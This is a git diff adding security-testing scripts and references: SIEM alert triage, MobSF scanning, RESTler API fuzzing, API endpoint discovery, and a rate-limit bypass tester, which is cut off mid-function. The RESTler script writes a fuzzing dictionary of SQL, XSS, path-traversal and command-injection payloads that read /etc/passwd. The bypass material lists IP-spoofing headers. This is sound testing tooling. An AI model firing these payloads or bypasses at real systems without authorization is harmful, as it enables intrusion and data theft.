kwargs["api_key"] = api_key + elif username and password: + kwargs["basic_auth"] = (username, password) + return Elasticsearch(**kwargs) + + +def get_open_alerts(es: Elasticsearch, hours_back: int = 24, + severity: list[str] = None, size: int = 500) -> list[dict]: + """Retrieve open SIEM alerts from the signals index.""" + must_clauses = [ + {"range": {"@timestamp": {"gte": f"now-{hours_back}h", "lte": "now"}}}, + {"term": {"signal.status": "open"}}, + ] + if severity: + must_clauses.append({"terms": {"signal.rule.severity": severity}}) + + query = {"bool": {"must": must_clauses}} + response = es.search(index=SIEM_SIGNALS_INDEX, query=query, size=size, + sort=[{"@timestamp": {"order": "desc"}}]) + alerts = [] + for hit in response["hits"]["hits"]: + src = hit["_source"] + signal = src.get("signal", {}) + rule = signal.get("rule", {}) + alerts.append({ + "alert_id": hit["_id"], + "timestamp": src.get("@timestamp", ""), + "rule_name": rule.get("name", ""), + "rule_id": rule.get("id", ""), + "severity": rule.get("severity", "unknown"), + "risk_score": rule.get("risk_score", 0), + "status": signal.get("status", ""), + "source_ip": src.get("source", {}).get("ip", ""), + "destination_ip": src.get("destination", {}).get("ip", ""), + "user": src.get("user", {}).get("name", ""), + "host": src.get("host", {}).get("name", ""), + "process": src.get("process", {}).get("name", ""), + }) + return alerts + + +def get_alert_aggregations(es: Elasticsearch, hours_back: int = 24) -> dict: + """Aggregate alerts by rule, severity, and host.""" + query = { + "bool": { + "must": [ + {"range": {"@timestamp": {"gte": f"now-{hours_back}h"}}}, + {"term": {"signal.status": "open"}}, + ] + } + } + aggs = { + "by_severity": {"terms": {"field": "signal.rule.severity", "size": 10}}, + "by_rule": {"terms": {"field": "signal.rule.name.keyword", "size": 20}}, + "by_host": {"terms": {"field": "host.name.keyword", "size": 20}}, + "by_user": {"terms": {"field": "user.name.keyword", "size": 20}}, + } + response = es.search(index=SIEM_SIGNALS_INDEX, query=query, aggs=aggs, size=0) + result = {} + for agg_name, agg_data in response.get("aggregations", {}).items(): + result[agg_name] = [ + {"key": bucket["key"], "count": bucket["doc_count"]} + for bucket in agg_data.get("buckets", []) + ] + return result + + +def prioritize_alerts(alerts: list[dict]) -> list[dict]: + """Sort and prioritize alerts by severity and risk score.""" + return sorted(alerts, key=lambda a: ( + SEVERITY_PRIORITY.get(a.get("severity", "low"), 5), + -a.get("risk_score", 0) + )) + + +def identify_alert_clusters(alerts: list[dict]) -> list[dict]: + """Group related alerts that may represent a single incident.""" + clusters = [] + by_host = {} + for alert in alerts: + host = alert.get("host", "unknown") + if host not in by_host: + by_host[host] = [] + by_host[host].append(alert) + + for host, host_alerts in by_host.items(): + if len(host_alerts) >= 3: + rules = list(set(a["rule_name"] for a in host_alerts)) + max_severity = min(host_alerts, key=lambda a: SEVERITY_PRIORITY.get(a.get("severity", "low"), 5)) + clusters.append({ + "host": host, + "alert_count": len(host_alerts), + "unique_rules": len(rules), + "rules": rules[:10], + "max_severity": max_severity["severity"], + "recommendation": "Investigate as potential incident - multiple alerts on same host", + }) + return clusters + + +def generate_report(host: str, api_key: str = None, username: str = None, + password: str = None, hours_back: int = 24, + severity: list[str] = None) -> dict: + """Run alert triage and build consolidated report.""" + es = create_client(host, api_key, username, password) + alerts = get_open_alerts(es, hours_back, severity) + prioritized = prioritize_alerts(alerts) + aggregations = get_alert_aggregations(es, hours_back) + clusters = identify_alert_clusters(alerts) + + severity_counts = Counter(a["severity"] for a in alerts) + return { + "report": "elastic_siem_alert_triage", + "generated_at": datetime.utcnow().isoformat() + "Z", + "time_window_hours": hours_back, + "total_open_alerts": len(alerts), + "severity_summary": dict(severity_counts), + "alert_clusters": clusters, + "aggregations": aggregations, + "prioritized_alerts": prioritized[:50], + } + + +def main(): + parser = argparse.ArgumentParser(description="Elastic SIEM Alert Triage Agent") + parser.add_argument("--host", required=True, help="Elasticsearch URL") + parser.add_argument("--api-key", help="Elasticsearch API key") + parser.add_argument("--username", help="Elasticsearch username") + parser.add_argument("--password", help="Elasticsearch password") + parser.add_argument("--hours", type=int, default=24, help="Hours to look back (default: 24)") + parser.add_argument("--severity", nargs="+", help="Filter by severity levels") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.host, args.api_key, args.username, + args.password, args.hours, args.severity) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-android-app-static-analysis-with-mobsf/LICENSE b/skills/performing-android-app-static-analysis-with-mobsf/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-android-app-static-analysis-with-mobsf/LICENSE +++ b/skills/performing-android-app-static-analysis-with-mobsf/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md b/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md new file mode 100644 index 00000000..3c6869cc --- /dev/null +++ b/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: MobSF Android static analysis agent + +## API Details +MobSF API: POST /api/v1/upload, POST /api/v1/scan, GET /api/v1/report_json, API key auth + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py b/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py new file mode 100644 index 00000000..dd28743d --- /dev/null +++ b/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""MobSF Android static analysis agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="MobSF Android static analysis agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] MobSF Android static analysis agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-api-fuzzing-with-restler/LICENSE b/skills/performing-api-fuzzing-with-restler/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-api-fuzzing-with-restler/LICENSE +++ b/skills/performing-api-fuzzing-with-restler/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-api-fuzzing-with-restler/references/api-reference.md b/skills/performing-api-fuzzing-with-restler/references/api-reference.md new file mode 100644 index 00000000..72205679 --- /dev/null +++ b/skills/performing-api-fuzzing-with-restler/references/api-reference.md @@ -0,0 +1,56 @@ +# RESTler API Fuzzing — API Reference + +## Installation + +```bash +git clone https://github.com/microsoft/restler-fuzzer.git +python3 ./build-restler.py --dest_dir /opt/restler +``` + +## RESTler CLI Commands + +| Command | Description | +|---------|-------------| +| `Restler compile --api_spec ` | Compile OpenAPI spec to fuzzing grammar | +| `Restler test --grammar_file ` | Smoke test — validate endpoint reachability | +| `Restler fuzz-lean --grammar_file ` | Quick fuzz — one pass with all checkers | +| `Restler fuzz --grammar_file ` | Full fuzz — extended fuzzing campaign | + +## Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--grammar_file` | Path to compiled grammar.py | +| `--dictionary_file` | Custom fuzzing dictionary (dict.json) | +| `--settings` | Engine settings JSON file | +| `--target_ip` | Target API hostname or IP | +| `--target_port` | Target API port | +| `--time_budget` | Max hours to run (fuzz/fuzz-lean) | +| `--enable_checkers` | Space-separated checker names | +| `--no_ssl` | Disable TLS verification | + +## Security Checkers + +| Checker | Detects | +|---------|---------| +| UseAfterFree | Accessing deleted resources | +| NamespaceRule | Cross-tenant data access | +| ResourceHierarchy | Wrong parent resource ID access | +| LeakageRule | Sensitive data in error responses | +| InvalidDynamicObject | Malformed object ID handling | +| PayloadBody | Request body injection flaws | + +## Output Directory Structure + +| Path | Contents | +|------|----------| +| `ResponseBuckets/runSummary.json` | Aggregated run statistics | +| `bug_buckets/` | Individual bug report files | +| `Compile/grammar.py` | Generated fuzzing grammar | +| `Compile/dict.json` | Fuzzing dictionary | + +## External References + +- [RESTler GitHub](https://github.com/microsoft/restler-fuzzer) +- [RESTler Research Paper](https://patricegodefroid.github.io/public_psfiles/icse2019.pdf) +- [Schemathesis Alternative](https://github.com/schemathesis/schemathesis) diff --git a/skills/performing-api-fuzzing-with-restler/scripts/agent.py b/skills/performing-api-fuzzing-with-restler/scripts/agent.py new file mode 100644 index 00000000..e27d0c34 --- /dev/null +++ b/skills/performing-api-fuzzing-with-restler/scripts/agent.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python3 +# For authorized testing only +"""RESTler API fuzzing orchestration and result analysis agent.""" + +import json +import sys +import argparse +import subprocess +import os +from datetime import datetime + + +def compile_spec(restler_path, api_spec): + """Compile OpenAPI spec into RESTler fuzzing grammar.""" + cmd = [ + os.path.join(restler_path, "Restler"), "compile", + "--api_spec", api_spec, + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + compile_dir = os.path.join(os.path.dirname(api_spec), "Compile") + if os.path.isdir(compile_dir): + grammar = os.path.join(compile_dir, "grammar.py") + dictionary = os.path.join(compile_dir, "dict.json") + return { + "status": "success" if os.path.exists(grammar) else "failed", + "grammar": grammar if os.path.exists(grammar) else None, + "dictionary": dictionary if os.path.exists(dictionary) else None, + "stdout": result.stdout[:500], + "stderr": result.stderr[:500], + } + return {"status": "failed", "stderr": result.stderr[:500]} + + +def run_fuzz_mode(restler_path, grammar, dictionary, settings, target_ip, + target_port, mode="fuzz-lean", time_budget=1): + """Run RESTler in test, fuzz-lean, or fuzz mode.""" + cmd = [ + os.path.join(restler_path, "Restler"), mode, + "--grammar_file", grammar, + "--dictionary_file", dictionary, + "--settings", settings, + "--target_ip", target_ip, + "--target_port", str(target_port), + "--time_budget", str(time_budget), + ] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=time_budget * 3600 + 300) + return { + "mode": mode, + "exit_code": result.returncode, + "stdout_tail": result.stdout[-1000:] if result.stdout else "", + "stderr_tail": result.stderr[-500:] if result.stderr else "", + } + + +def parse_run_summary(results_dir): + """Parse RESTler run summary JSON from results directory.""" + summary_path = os.path.join(results_dir, "ResponseBuckets", "runSummary.json") + if not os.path.exists(summary_path): + return {"error": f"Summary not found at {summary_path}"} + with open(summary_path, "r") as f: + summary = json.load(f) + return { + "total_requests": summary.get("total_requests_sent", {}).get("num_requests", 0), + "valid_2xx": summary.get("num_fully_valid", 0), + "client_errors_4xx": summary.get("num_invalid", 0), + "server_errors_5xx": summary.get("num_server_error", 0), + "bugs_found": summary.get("num_bugs", 0), + "covered_endpoints": len(summary.get("covered_endpoints", [])), + "total_endpoints": len(summary.get("total_endpoints", [])), + } + + +def parse_bug_buckets(results_dir): + """Parse RESTler bug bucket files for discovered vulnerabilities.""" + bugs_dir = os.path.join(results_dir, "bug_buckets") + if not os.path.isdir(bugs_dir): + return [] + bugs = [] + for filename in sorted(os.listdir(bugs_dir)): + if not filename.endswith(".txt"): + continue + filepath = os.path.join(bugs_dir, filename) + with open(filepath, "r") as f: + content = f.read() + bug_type = "unknown" + if "UseAfterFree" in filename: + bug_type = "use_after_free" + elif "NamespaceRule" in filename: + bug_type = "namespace_violation" + elif "ResourceHierarchy" in filename: + bug_type = "resource_hierarchy" + elif "LeakageRule" in filename: + bug_type = "information_leakage" + elif "500" in content[:200]: + bug_type = "server_error_500" + bugs.append({ + "file": filename, + "type": bug_type, + "severity": "CRITICAL" if bug_type in ("use_after_free", "namespace_violation") else "HIGH", + "excerpt": content[:300], + }) + return bugs + + +def generate_custom_dictionary(output_path): + """Generate a security-focused fuzzing dictionary for RESTler.""" + dictionary = { + "restler_fuzzable_string": [ + "fuzzstring", "' OR '1'='1", "\" OR \"1\"=\"1", + "", "../../../etc/passwd", + "${7*7}", "{{7*7}}", "a]UNION SELECT 1,2,3--", + "\"; cat /etc/passwd; echo \"", + "A" * 65536, + ], + "restler_fuzzable_int": ["0", "-1", "999999999", "2147483647", "-2147483648"], + "restler_fuzzable_bool": ["true", "false", "null", "1", "0"], + "restler_fuzzable_datetime": [ + "2024-01-01T00:00:00Z", "0000-00-00T00:00:00Z", + "9999-12-31T23:59:59Z", "invalid-date", + ], + "restler_fuzzable_uuid4": [ + "00000000-0000-0000-0000-000000000000", + "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", + ], + } + with open(output_path, "w") as f: + json.dump(dictionary, f, indent=2) + return {"dictionary_path": output_path, "fuzz_categories": len(dictionary)} + + +def run_audit(args): + """Execute RESTler fuzzing audit workflow.""" + print(f"\n{'='*60}") + print(f" RESTLER API FUZZING AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.results_dir: + summary = parse_run_summary(args.results_dir) + report["summary"] = summary + print(f"--- FUZZING SUMMARY ---") + print(f" Total requests: {summary.get('total_requests', 0)}") + print(f" 2xx responses: {summary.get('valid_2xx', 0)}") + print(f" 5xx errors: {summary.get('server_errors_5xx', 0)}") + print(f" Bugs found: {summary.get('bugs_found', 0)}") + coverage = summary.get("covered_endpoints", 0) + total = summary.get("total_endpoints", 0) + pct = (coverage / total * 100) if total else 0 + print(f" Coverage: {coverage}/{total} ({pct:.1f}%)") + + bugs = parse_bug_buckets(args.results_dir) + report["bugs"] = bugs + print(f"\n--- BUG BUCKETS ({len(bugs)} bugs) ---") + for b in bugs: + print(f" [{b['severity']}] {b['type']}: {b['file']}") + + if args.gen_dict: + dict_result = generate_custom_dictionary(args.gen_dict) + report["dictionary"] = dict_result + print(f"\n--- GENERATED DICTIONARY ---") + print(f" Path: {dict_result['dictionary_path']}") + + if args.compile_spec and args.restler_path: + comp = compile_spec(args.restler_path, args.compile_spec) + report["compilation"] = comp + print(f"\n--- COMPILATION ---") + print(f" Status: {comp['status']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="RESTler API Fuzzing Agent") + parser.add_argument("--restler-path", help="Path to RESTler binary directory") + parser.add_argument("--compile-spec", help="OpenAPI spec to compile") + parser.add_argument("--results-dir", help="RESTler results directory to analyze") + parser.add_argument("--gen-dict", help="Generate fuzzing dictionary to path") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-api-inventory-and-discovery/LICENSE b/skills/performing-api-inventory-and-discovery/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-api-inventory-and-discovery/LICENSE +++ b/skills/performing-api-inventory-and-discovery/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-api-inventory-and-discovery/references/api-reference.md b/skills/performing-api-inventory-and-discovery/references/api-reference.md new file mode 100644 index 00000000..80ce7b04 --- /dev/null +++ b/skills/performing-api-inventory-and-discovery/references/api-reference.md @@ -0,0 +1,64 @@ +# API Inventory and Discovery — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | HTTP probing and spec fetching | + +## Common API Discovery Paths + +| Path | Description | +|------|-------------| +| `/api/v1`, `/api/v2` | Versioned REST API roots | +| `/swagger.json` | Swagger 2.0 specification | +| `/openapi.json` | OpenAPI 3.x specification | +| `/graphql` | GraphQL endpoint | +| `/graphiql`, `/playground` | GraphQL IDE (introspection enabled) | +| `/api-docs`, `/docs` | API documentation page | +| `/.well-known/openid-configuration` | OIDC discovery | +| `/health`, `/metrics` | Health/monitoring endpoints | + +## OpenAPI Spec Parsing + +```python +import requests +spec = requests.get("https://target.com/openapi.json").json() +for path, methods in spec["paths"].items(): + for method, details in methods.items(): + print(f"{method.upper()} {path} deprecated={details.get('deprecated', False)}") +``` + +## JavaScript API Extraction Patterns + +| Pattern | Matches | +|---------|---------| +| `fetch("/")` | Fetch API calls | +| `axios.get("/")` | Axios HTTP calls | +| `"/api/v1/"` | String literal API paths | +| `"/v2/"` | Versioned API references | + +## API Risk Classification + +| Category | Risk | Examples | +|----------|------|---------| +| Admin/Internal | HIGH | `/admin/api`, `/internal/` | +| GraphQL exposed | HIGH | `/graphql` with introspection | +| Documentation public | MEDIUM | `/swagger.json`, `/api-docs` | +| Deprecated/zombie | HIGH | Deprecated but still responding | +| Standard versioned | LOW | `/api/v2/users` | + +## OWASP API9:2023 — Improper Inventory Management + +| Issue | Description | +|-------|-------------| +| Shadow APIs | Undocumented endpoints deployed without review | +| Zombie APIs | Deprecated versions still accessible | +| Missing authentication | Endpoints skipping auth middleware | +| Version sprawl | Multiple API versions maintained simultaneously | + +## External References + +- [OWASP API Security Top 10](https://owasp.org/API-Security/) +- [Swagger/OpenAPI Spec](https://swagger.io/specification/) +- [Kiterunner API Discovery](https://github.com/assetnote/kiterunner) diff --git a/skills/performing-api-inventory-and-discovery/scripts/agent.py b/skills/performing-api-inventory-and-discovery/scripts/agent.py new file mode 100644 index 00000000..fe374a0e --- /dev/null +++ b/skills/performing-api-inventory-and-discovery/scripts/agent.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +# For authorized testing only +"""API inventory and discovery agent for attack surface mapping.""" + +import json +import sys +import argparse +import re +import subprocess +from datetime import datetime +from collections import defaultdict + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +COMMON_API_PATHS = [ + "/api", "/api/v1", "/api/v2", "/api/v3", + "/graphql", "/graphiql", "/playground", + "/swagger.json", "/swagger/v1/swagger.json", + "/openapi.json", "/api-docs", "/docs", + "/health", "/healthz", "/status", "/metrics", + "/admin/api", "/internal/api", "/.well-known/openid-configuration", + "/v1", "/v2", "/rest", "/ws", "/rpc", +] + + +def discover_api_endpoints(base_url, paths=None, timeout=5): + """Probe common API paths to discover active endpoints.""" + if paths is None: + paths = COMMON_API_PATHS + discovered = [] + for path in paths: + url = f"{base_url.rstrip('/')}{path}" + try: + resp = requests.get(url, timeout=timeout, allow_redirects=False, + verify=True, headers={"User-Agent": "API-Inventory-Agent/1.0"}) + if resp.status_code < 500: + entry = { + "url": url, + "status": resp.status_code, + "content_type": resp.headers.get("Content-Type", ""), + "server": resp.headers.get("Server", ""), + } + if "json" in entry["content_type"]: + entry["type"] = "REST/JSON" + elif "xml" in entry["content_type"]: + entry["type"] = "SOAP/XML" + elif "html" in entry["content_type"] and "swagger" in path.lower(): + entry["type"] = "API Documentation" + else: + entry["type"] = "unknown" + if resp.status_code == 200: + entry["finding"] = "Active API endpoint" + entry["severity"] = "INFO" + discovered.append(entry) + except requests.exceptions.RequestException: + pass + return discovered + + +def parse_swagger_spec(spec_url): + """Fetch and parse OpenAPI/Swagger spec to inventory endpoints.""" + try: + resp = requests.get(spec_url, timeout=15) + resp.raise_for_status() + spec = resp.json() + except Exception as e: + return {"error": str(e)} + + version = spec.get("openapi", spec.get("swagger", "unknown")) + info = spec.get("info", {}) + paths = spec.get("paths", {}) + endpoints = [] + for path, methods in paths.items(): + for method in methods: + if method.upper() in ("GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD"): + op = methods[method] + endpoints.append({ + "method": method.upper(), + "path": path, + "summary": op.get("summary", ""), + "deprecated": op.get("deprecated", False), + "auth_required": bool(op.get("security", spec.get("security", []))), + }) + deprecated = [e for e in endpoints if e["deprecated"]] + return { + "spec_version": version, + "api_title": info.get("title", ""), + "api_version": info.get("version", ""), + "total_endpoints": len(endpoints), + "deprecated_endpoints": len(deprecated), + "endpoints": endpoints, + } + + +def scan_javascript_for_apis(js_url): + """Fetch JavaScript file and extract API endpoint references.""" + try: + resp = requests.get(js_url, timeout=15) + content = resp.text + except Exception as e: + return {"error": str(e)} + + api_patterns = [ + re.compile(r'["\'](/api/[^"\']+)["\']'), + re.compile(r'["\'](/v\d+/[^"\']+)["\']'), + re.compile(r'fetch\s*\(\s*["\']([^"\']+)["\']'), + re.compile(r'axios\.\w+\s*\(\s*["\']([^"\']+)["\']'), + re.compile(r'\.get\s*\(\s*["\']([^"\']+/api[^"\']*)["\']'), + re.compile(r'\.post\s*\(\s*["\']([^"\']+/api[^"\']*)["\']'), + ] + found_apis = set() + for pattern in api_patterns: + for match in pattern.findall(content): + if len(match) > 3 and not match.endswith((".js", ".css", ".png", ".jpg")): + found_apis.add(match) + + return {"source": js_url, "discovered_apis": sorted(found_apis), "count": len(found_apis)} + + +def enumerate_subdomains_for_apis(domain): + """Use DNS enumeration to find API subdomains.""" + api_prefixes = [ + "api", "api-v1", "api-v2", "api-gateway", "api-internal", + "gateway", "graphql", "rest", "ws", "webhook", + "staging-api", "dev-api", "sandbox-api", "beta-api", + "admin-api", "partner-api", "public-api", "mobile-api", + ] + found = [] + for prefix in api_prefixes: + subdomain = f"{prefix}.{domain}" + try: + result = subprocess.run( + ["nslookup", subdomain], capture_output=True, text=True, timeout=5 + ) + if "Non-authoritative answer" in result.stdout or "Address:" in result.stdout: + found.append({ + "subdomain": subdomain, + "status": "resolved", + "severity": "MEDIUM" if "internal" in prefix or "staging" in prefix else "INFO", + }) + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + return found + + +def classify_api_risk(endpoints): + """Classify discovered APIs by risk level.""" + findings = [] + for ep in endpoints: + url = ep.get("url", ep.get("path", "")) + risk = "LOW" + reason = "Standard endpoint" + if any(p in url.lower() for p in ["/admin", "/internal", "/debug", "/metrics"]): + risk = "HIGH" + reason = "Administrative/internal endpoint exposed" + elif any(p in url.lower() for p in ["/graphql", "/graphiql", "/playground"]): + risk = "HIGH" + reason = "GraphQL endpoint — check introspection" + elif "swagger" in url.lower() or "api-docs" in url.lower(): + risk = "MEDIUM" + reason = "API documentation publicly accessible" + elif ep.get("deprecated", False): + risk = "HIGH" + reason = "Deprecated/zombie API still accessible" + findings.append({**ep, "risk": risk, "reason": reason}) + return findings + + +def run_audit(args): + """Execute API inventory and discovery audit.""" + print(f"\n{'='*60}") + print(f" API INVENTORY AND DISCOVERY AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.target_url: + discovered = discover_api_endpoints(args.target_url) + classified = classify_api_risk(discovered) + report["discovered_endpoints"] = classified + print(f"--- ENDPOINT DISCOVERY ({len(classified)} found) ---") + for ep in classified: + print(f" [{ep['risk']}] {ep['url']} ({ep.get('status','')}): {ep['reason']}") + + if args.swagger_url: + spec = parse_swagger_spec(args.swagger_url) + report["swagger_spec"] = spec + print(f"\n--- SWAGGER SPEC ANALYSIS ---") + print(f" API: {spec.get('api_title','')} v{spec.get('api_version','')}") + print(f" Endpoints: {spec.get('total_endpoints',0)}") + print(f" Deprecated: {spec.get('deprecated_endpoints',0)}") + + if args.js_url: + js_apis = scan_javascript_for_apis(args.js_url) + report["js_api_discovery"] = js_apis + print(f"\n--- JAVASCRIPT API EXTRACTION ({js_apis.get('count',0)}) ---") + for api in js_apis.get("discovered_apis", [])[:15]: + print(f" {api}") + + if args.domain: + subs = enumerate_subdomains_for_apis(args.domain) + report["api_subdomains"] = subs + print(f"\n--- API SUBDOMAIN ENUMERATION ({len(subs)} found) ---") + for s in subs: + print(f" [{s['severity']}] {s['subdomain']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="API Inventory Discovery Agent") + parser.add_argument("--target-url", help="Base URL to probe for API endpoints") + parser.add_argument("--swagger-url", help="Swagger/OpenAPI spec URL to parse") + parser.add_argument("--js-url", help="JavaScript file URL to extract API paths") + parser.add_argument("--domain", help="Domain for API subdomain enumeration") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-api-rate-limiting-bypass/LICENSE b/skills/performing-api-rate-limiting-bypass/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-api-rate-limiting-bypass/LICENSE +++ b/skills/performing-api-rate-limiting-bypass/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-api-rate-limiting-bypass/references/api-reference.md b/skills/performing-api-rate-limiting-bypass/references/api-reference.md new file mode 100644 index 00000000..e6cac20a --- /dev/null +++ b/skills/performing-api-rate-limiting-bypass/references/api-reference.md @@ -0,0 +1,57 @@ +# API Rate Limiting Bypass — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | HTTP request sending with custom headers | + +## Rate Limit Response Headers + +| Header | Description | +|--------|-------------| +| `X-RateLimit-Limit` | Maximum requests per window | +| `X-RateLimit-Remaining` | Requests remaining in window | +| `X-RateLimit-Reset` | Timestamp when limit resets | +| `Retry-After` | Seconds to wait before retrying | +| `RateLimit-Policy` | IETF draft rate limit policy | + +## IP Spoofing Bypass Headers + +| Header | Description | +|--------|-------------| +| `X-Forwarded-For` | Standard proxy forwarding header | +| `X-Real-IP` | NGINX real client IP | +| `X-Originating-IP` | Client originating IP | +| `X-Client-IP` | Client IP identifier | +| `True-Client-IP` | Akamai/CDN client IP | +| `CF-Connecting-IP` | Cloudflare client IP | +| `Forwarded` | RFC 7239 forwarded header | + +## Bypass Techniques + +| Technique | Description | Severity | +|-----------|-------------|----------| +| Header IP rotation | Rotate X-Forwarded-For per request | HIGH | +| HTTP method switching | GET rate-limited but POST is not | MEDIUM | +| Path variation | `/api/users` vs `/api/users/` | MEDIUM | +| Case variation | `/API/Users` vs `/api/users` | MEDIUM | +| URL encoding | `%2Fapi%2Fusers` instead of `/api/users` | MEDIUM | +| Null byte injection | Append `%00` to URL path | HIGH | +| API version switching | `/v1/users` vs `/v2/users` | MEDIUM | +| Parameter pollution | Duplicate query parameters | MEDIUM | + +## OWASP API4:2023 — Unrestricted Resource Consumption + +| Risk | Description | +|------|-------------| +| Missing rate limits | No throttling on sensitive endpoints | +| Per-IP only limits | Bypassed with header spoofing | +| No auth-based limiting | Rate limit tied to IP, not user | +| Inconsistent enforcement | Different limits per method/version | + +## External References + +- [OWASP API Security Top 10](https://owasp.org/API-Security/) +- [IETF RateLimit Header Fields](https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/) +- [HackTricks Rate Limit Bypass](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass) diff --git a/skills/performing-api-rate-limiting-bypass/scripts/agent.py b/skills/performing-api-rate-limiting-bypass/scripts/agent.py new file mode 100644 index 00000000..f922ec57 --- /dev/null +++ b/skills/performing-api-rate-limiting-bypass/scripts/agent.py @@ -0,0 +1,263 @@ +#!/usr/bin/env python3 +# For authorized testing only +"""API rate limiting bypass testing agent.""" + +import json +import sys +import argparse +import time +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +BYPASS_HEADERS = [ + {"X-Forwarded-For": "127.0.0.1"}, + {"X-Forwarded-For": "10.0.0.1"}, + {"X-Real-IP": "127.0.0.1"}, + {"X-Originating-IP": "127.0.0.1"}, + {"X-Client-IP": "192.168.1.1"}, + {"X-Forwarded-Host": "localhost"}, + {"True-Client-IP": "127.0.0.1"}, + {"CF-Connecting-IP": "127.0.0.1"}, + {"X-Custom-IP-Authorization": "127.0.0.1"}, + {"Forwarded": "for=127.0.0.1"}, +] + + +def detect_rate_limit_headers(url, 